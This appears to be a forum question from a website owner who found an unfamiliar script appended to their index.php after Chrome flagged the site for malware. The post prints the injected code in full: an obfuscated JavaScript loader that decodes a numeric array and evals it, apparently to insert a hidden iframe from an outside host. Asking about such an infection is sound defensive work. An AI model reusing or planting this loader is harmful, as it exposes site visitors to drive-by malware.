title: Unknown Script in my index.php, produce malware, Have i been hacked?
body: <p>I have a site. My site Was difficult yesterday, when open it with Google Chrome, instead of my site this page is shown:</p>
  
  <pre><code>Warning: Visiting this site may harm your computer!
  The website at http:... appears to host malware - Software that can hurt your 
  computer or otherwise operate without your consent.
  ....
  </code></pre>
  
  <p>I viewed my page source in Chrome and I saw this script end of my code (after ):</p>
  
  <pre><code> echo ""; echo "&lt;script&gt;try{if(window.document)window[\"document\"][\"body\"]=\"123\"}catch(bawetawe){if(window.document){v=window;try{fawbe--}catch(afnwenew){try{(v+v)()}catch(gngrthn){try{if(020===0x10)v[\"document\"][\"bo\"+\"dy\"]=\"123\"}catch(gfdnfdgber){m=123;if((alert+\"\").indexOf(\"n\"+\"a\"+\"ti\"+\"ve\")!==-1)ev=window[\"eval\"];}}
  n=[\"9\",\"9\",\"45\",\"42\",\"17\",\"1f\",\"40\",\"4b\",\"3o\",\"4h\",\"49\",\"41\",\"4a\",\"4g\",\"1l\",\"43\",\"41\",\"4g\",\"2j\",\"48\",\"41\",\"49\",\"41\",\"4a\",\"4g\",\"4f\",\"2g\",\"4l\",\"39\",\"3m\",\"43\",\"33\",\"3m\",\"49\",\"41\",\"1f\",\"1e\",\"3n\",\"4b\",\"40\",\"4l\",\"1e\",\"1g\",\"3g\",\"1n\",\"3i\",\"1g\",\"4n\",\"d\",\"9\",\"9\",\"9\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"4e\",\"1f\",\"1g\",\"29\",\"d\",\"9\",\"9\",\"50\",\"17\",\"41\",\"48\",\"4f\",\"41\",\"17\",\"4n\",\"d\",\"9\",\"9\",\"9\",\"40\",\"4b\",\"3o\",\"4h\",\"49\",\"41\",\"4a\",\"4g\",\"1l\",\"4j\",\"4e\",\"45\",\"4g\",\"41\",\"1f\",\"19\",\"2a\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"17\",\"4f\",\"4e\",\"3o\",\"2b\",\"1e\",\"44\",\"4g\",\"4g\",\"4c\",\"28\",\"1m\",\"1m\",\"4e\",\"3m\",\"43\",\"4b\",\"4b\",\"4f\",\"41\",\"1l\",\"45\",\"4c\",\"4d\",\"1l\",\"3o\",\"4b\",\"1m\",\"3o\",\"4b\",\"4e\",\"4e\",\"41\",\"3o\",\"4g\",\"45\",\"4a\",\"43\",\"1m\",\"45\",\"49\",\"3m\",\"43\",\"45\",\"4a\",\"41\",\"1k\",\"4e\",\"41\",\"3m\",\"40\",\"4l\",\"3k\",\"41\",\"4a\",\"4g\",\"41\",\"4e\",\"3k\",\"47\",\"41\",\"41\",\"4a\",\"1l\",\"4c\",\"44\",\"4c\",\"1e\",\"17\",\"4j\",\"45\",\"40\",\"4g\",\"44\",\"2b\",\"1e\",\"1o\",\"1n\",\"1e\",\"17\",\"44\",\"41\",\"45\",\"43\",\"44\",\"4g\",\"2b\",\"1e\",\"1o\",\"1n\",\"1e\",\"17\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"2b\",\"1e\",\"4i\",\"45\",\"4f\",\"45\",\"3n\",\"45\",\"48\",\"45\",\"4g\",\"4l\",\"28\",\"44\",\"45\",\"40\",\"40\",\"41\",\"4a\",\"29\",\"4c\",\"4b\",\"4f\",\"45\",\"4g\",\"45\",\"4b\",\"4a\",\"28\",\"3m\",\"3n\",\"4f\",\"4b\",\"48\",\"4h\",\"4g\",\"41\",\"29\",\"48\",\"41\",\"42\",\"4g\",\"28\",\"1n\",\"29\",\"4g\",\"4b\",\"4c\",\"28\",\"1n\",\"29\",\"1e\",\"2c\",\"2a\",\"1m\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"2c\",\"19\",\"1g\",\"29\",\"d\",\"9\",\"9\",\"50\",\"d\",\"9\",\"9\",\"42\",\"4h\",\"4a\",\"3o\",\"4g\",\"45\",\"4b\",\"4a\",\"17\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"4e\",\"1f\",\"1g\",\"4n\",\"d\",\"9\",\"9\",\"9\",\"4i\",\"3m\",\"4e\",\"17\",\"42\",\"17\",\"2b\",\"17\",\"40\",\"4b\",\"3o\",\"4h\",\"49\",\"41\",\"4a\",\"4g\",\"1l\",\"3o\",\"4e\",\"41\",\"3m\",\"4g\",\"41\",\"2j\",\"48\",\"41\",\"49\",\"41\",\"4a\",\"4g\",\"1f\",\"1e\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"1e\",\"1g\",\"29\",\"42\",\"1l\",\"4f\",\"41\",\"4g\",\"2f\",\"4g\",\"4g\",\"4e\",\"45\",\"3n\",\"4h\",\"4g\",\"41\",\"1f\",\"1e\",\"4f\",\"4e\",\"3o\",\"1e\",\"1j\",\"1e\",\"44\",\"4g\",\"4g\",\"4c\",\"28\",\"1m\",\"1m\",\"4e\",\"3m\",\"43\",\"4b\",\"4b\",\"4f\",\"41\",\"1l\",\"45\",\"4c\",\"4d\",\"1l\",\"3o\",\"4b\",\"1m\",\"3o\",\"4b\",\"4e\",\"4e\",\"41\",\"3o\",\"4g\",\"45\",\"4a\",\"43\",\"1m\",\"45\",\"49\",\"3m\",\"43\",\"45\",\"4a\",\"41\",\"1k\",\"4e\",\"41\",\"3m\",\"40\",\"4l\",\"3k\",\"41\",\"4a\",\"4g\",\"41\",\"4e\",\"3k\",\"47\",\"41\",\"41\",\"4a\",\"1l\",\"4c\",\"44\",\"4c\",\"1e\",\"1g\",\"29\",\"42\",\"1l\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"1l\",\"4i\",\"45\",\"4f\",\"45\",\"3n\",\"45\",\"48\",\"45\",\"4g\",\"4l\",\"2b\",\"1e\",\"44\",\"45\",\"40\",\"40\",\"41\",\"4a\",\"1e\",\"29\",\"42\",\"1l\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"1l\",\"4c\",\"4b\",\"4f\",\"45\",\"4g\",\"45\",\"4b\",\"4a\",\"2b\",\"1e\",\"3m\",\"3n\",\"4f\",\"4b\",\"48\",\"4h\",\"4g\",\"41\",\"1e\",\"29\",\"42\",\"1l\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"1l\",\"48\",\"41\",\"42\",\"4g\",\"2b\",\"1e\",\"1n\",\"1e\",\"29\",\"42\",\"1l\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"1l\",\"4g\",\"4b\",\"4c\",\"2b\",\"1e\",\"1n\",\"1e\",\"29\",\"42\",\"1l\",\"4f\",\"41\",\"4g\",\"2f\",\"4g\",\"4g\",\"4e\",\"45\",\"3n\",\"4h\",\"4g\",\"41\",\"1f\",\"1e\",\"4j\",\"45\",\"40\",\"4g\",\"44\",\"1e\",\"1j\",\"1e\",\"1o\",\"1n\",\"1e\",\"1g\",\"29\",\"42\",\"1l\",\"4f\",\"41\",\"4g\",\"2f\",\"4g\",\"4g\",\"4e\",\"45\",\"3n\",\"4h\",\"4g\",\"41\",\"1f\",\"1e\",\"44\",\"41\",\"45\",\"43\",\"44\",\"4g\",\"1e\",\"1j\",\"1e\",\"1o\",\"1n\",\"1e\",\"1g\",\"29\",\"d\",\"9\",\"9\",\"9\",\"40\",\"4b\",\"3o\",\"4h\",\"49\",\"41\",\"4a\",\"4g\",\"1l\",\"43\",\"41\",\"4g\",\"2j\",\"48\",\"41\",\"49\",\"41\",\"4a\",\"4g\",\"4f\",\"2g\",\"4l\",\"39\",\"3m\",\"43\",\"33\",\"3m\",\"49\",\"41\",\"1f\",\"1e\",\"3n\",\"4b\",\"40\",\"4l\",\"1e\",\"1g\",\"3g\",\"1n\",\"3i\",\"1l\",\"3m\",\"4c\",\"4c\",\"41\",\"4a\",\"40\",\"2h\",\"44\",\"45\",\"48\",\"40\",\"1f\",\"42\",\"1g\",\"29\",\"d\",\"9\",\"9\",\"50\"];h=2;s=\"\";if(m)for(i=0;i-631!=0;i++){k=i;if(window[\"document\"])s+=String.fromCharCode(parseInt(n[i],25));}z=s;if(v)ev(z)}}}&lt;/script&gt;";
  </code></pre>
  
  <p><strong>NOTE</strong> This script wasn't in my code <em>Before</em>!!
  What is this?! How was written in my <code>index.php</code> file?!</p>